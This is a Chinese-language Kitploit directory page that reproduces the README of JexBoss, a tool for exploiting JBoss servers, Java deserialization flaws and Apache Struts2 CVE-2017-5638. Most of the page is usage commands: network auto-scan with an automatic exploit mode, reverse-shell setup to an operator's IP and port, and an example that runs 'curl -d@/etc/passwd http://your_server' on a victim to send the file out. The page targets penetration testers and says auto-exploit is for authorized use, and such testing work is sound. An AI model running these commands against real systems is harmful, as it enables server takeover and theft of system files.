Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
jexboss — JexBoss: Jboss (及 Java 反序列化漏洞) 验证与利用工具 | Kitploit
工具/GitHubGitHub/joaomatosf/jexboss
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubjoaomatosf/jexboss

jexboss

JexBoss: Jboss (及 Java 反序列化漏洞) 验证与利用工具

查看仓库
2.5k64089年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

JexBoss - JBoss(及其他Java反序列化漏洞)验证与利用工具

JexBoss 是一款用于测试和利用 JBoss 应用服务器及其他 Java 平台、框架、应用等漏洞的工具。

需求

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Linux\Mac 安装

要安装最新版本的 JexBoss,请使用以下命令:

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

或者:

从以下地址下载最新版本:https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

如果您使用的是带有 Python 2.6 的 CentOS,请安装 Python2.7。 在 CentOS 上使用 Collections Software scl 安装 Python 2.7 的示例:

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Windows 安装

如果您使用 Windows,可以使用 Git Bash 来运行 JexBoss。请按照以下步骤操作:

  • 下载并安装 Python
  • 下载并安装 Git for Windows
  • 安装完成后,运行 Git for Windows 并输入以下命令:
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

功能

该工具及漏洞利用程序已针对以下内容进行开发和测试:

  • JBoss 应用服务器版本:3、4、5 和 6。
  • 多个 Java 框架、平台和应用中的 Java 反序列化漏洞(例如:Java Server Faces - JSF、Seam Framework、RMI over HTTP、Jenkins CLI RCE(CVE-2015-5317)、远程 JMX(CVE-2016-3427、CVE-2016-8735)等)

利用向量包括:

  • /admin-console
    • 已在 JBoss 版本 5 和 6 上测试并有效
  • /jmx-console
    • 已在 JBoss 版本 4、5 和 6 上测试并有效
  • /web-console/Invoker
    • 已在 JBoss 版本 4、5 和 6 上测试并有效
  • /invoker/JMXInvokerServlet
    • 已在 JBoss 版本 4、5 和 6 上测试并有效
  • 应用反序列化
    • 已针对多个 Java 应用、平台等通过 HTTP POST 参数进行测试并有效
  • Servlet 反序列化
    • 已针对多个 Java 应用、平台等通过处理序列化对象的 Servlet(例如在链接中看到"Invoker"时)进行测试并有效
  • Apache Struts2 CVE-2017-5638
    • 已在 Apache Struts 2 应用中测试
  • 其他

视频

  • 使用 JexBoss 利用 JSF/Seam 应用中的 Java 反序列化漏洞(RCE)via javax.faces.ViewState

Alt text

  • 使用 JexBoss 利用 JBoss 应用服务器

Alt text

  • 使用 JexBoss 利用 Apache Struts2(RCE)(CVE-2017-5638)

Alt text

截图

  • 简单使用示例:
root@kitploit:~
$ python jexboss.py

alt tag

  • 针对 JBoss 的独立模式示例:
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

alt tag alt tag

  • 使用模式:
root@kitploit:~
$ python jexboss.py -h
  • 网络扫描模式:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • 带有自动利用模式的网络扫描:
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • 结果和建议:

alt tag

反弹 Shell(Meterpreter 集成)

在利用 JBoss 服务器后,您可以使用 JexBoss 自带的命令 shell,或者使用以下命令执行反向连接:

root@kitploit:~
   jexremote=YOUR_IP:YOUR_PORT

   示例:
     Shell>jexremote=192.168.0.10:4444
  • 示例: alt tag

在利用 Java 反序列化漏洞(应用反序列化、Servlet 反序列化)时,默认选项为:建立反弹 Shell 连接或发送要执行的命令。

使用示例

  • 针对自定义 HTTP 参数中的 Java 反序列化漏洞,并在被利用服务器上发送自定义命令执行:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • 针对自定义 HTTP 参数中的 Java 反序列化漏洞,并建立反弹 Shell(会提示输入远程主机的 IP 和端口):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • 针对 Servlet(如 Invoker)中的 Java 反序列化漏洞:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • 针对 Apache Struts 2(CVE-2017-5638)
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • 针对 Apache Struts 2(CVE-2017-5638),带 Cookie 用于认证资源
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • 自动扫描模式:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • 文件扫描模式:
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • 更多选项:
root@kitploit:~
可选参数:
  -h, --help            显示此帮助信息并退出
  --version             显示程序版本号并退出
  --auto-exploit, -A    自动发送漏洞利用代码(只有在您获得授权时才使用!!!)
  --disable-check-updates, -D
                        禁用两个更新检查:1) 被利用服务器上的 webshell 在 http://webshell.jexboss.net/jsp_version.txt 进行的更新检查;2) jexboss 客户端在 http://joaomatosf.com/rnp/releases.txt 进行的更新检查
  -mode {standalone,auto-scan,file-scan}
                        操作模式(默认:standalone)
  --app-unserialize, -j
                        检查 HTTP 参数中的 Java 反序列化漏洞(例如 javax.faces.ViewState、oldFormData 等)
  --servlet-unserialize, -l
                        检查 Servlet(如 Invoker 接口)中的 Java 反序列化漏洞
  --jboss              仅检查 JBOSS 向量。
  --jenkins            仅检查 Jenkins CLI 向量。
  --jmxtomcat          检查 Tomcat 中的 JMX JmxRemoteLifecycleListener(CVE-2016-8735 和 CVE-2016-8735)。注意:默认不会检查此项。
  --proxy PROXY, -P PROXY
                        使用 HTTP 代理连接目标 URL(例如 -P http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        代理认证凭据(例如 -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss 登录用户名和密码,用于利用 JBoss 5 和 JBoss 6 的管理控制台(默认:admin:admin)
  --timeout TIMEOUT     等待连接超时的秒数(默认 3)

独立模式:
  -host HOST, -u HOST   要检查的主机地址(例如 -u http://192.168.0.10:8080)

高级选项(在利用应用层的 Java 反序列化时使用):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        在利用应用层 Java 反序列化漏洞时用于反弹 Shell 的远程主机地址和端口(目前仅适用于 *nix 系统)(例如 192.168.0.10:1331)
  --cmd CMD, -x CMD     发送要在目标上运行的特定命令(例如 curl -d @/etc/passwd http://your_server)
  --windows, -w         指定命令适用于 Windows 系统(cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        指定要查找并注入序列化对象的参数(例如 -H javax.faces.ViewState 或 -H oldFormData (<- Hi PayPal =X) 或其他)(默认:javax.faces.ViewState)
  --show-payload, -t    打印生成的载荷。
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        指定用于自动生成载荷的 Gadget 类型。(默认:commons-collections3.1;对于 Jenkins 为 groovy1)
  --load-gadget FILENAME
                        从文件提供您自己的 Gadget(一个原始模式下的 Java 序列化对象)
  --force, -F           强制将 Java 序列化 Gadget 发送到 -u 参数指定的 URL。这将使用多种格式(例如 RAW、GZIPED 和 BASE64)以及不同的 Content-Type 发送载荷。

自动扫描模式:
  -network NETWORK      要检查的网络,使用 CIDR 格式(例如 10.0.0.0/8)
  -ports PORTS          用逗号分隔的端口列表,用于检查每个主机(例如 8080,8443,8888,80,443)
  -results FILENAME     存储自动扫描结果的文件名

文件扫描模式:
  -file FILENAME_HOSTS  包含要扫描的主机列表的文件名(每行一个主机)
  -out FILENAME_RESULTS
                        存储文件扫描结果的文件名

问题、建议等:

  • [email protected]
下载工具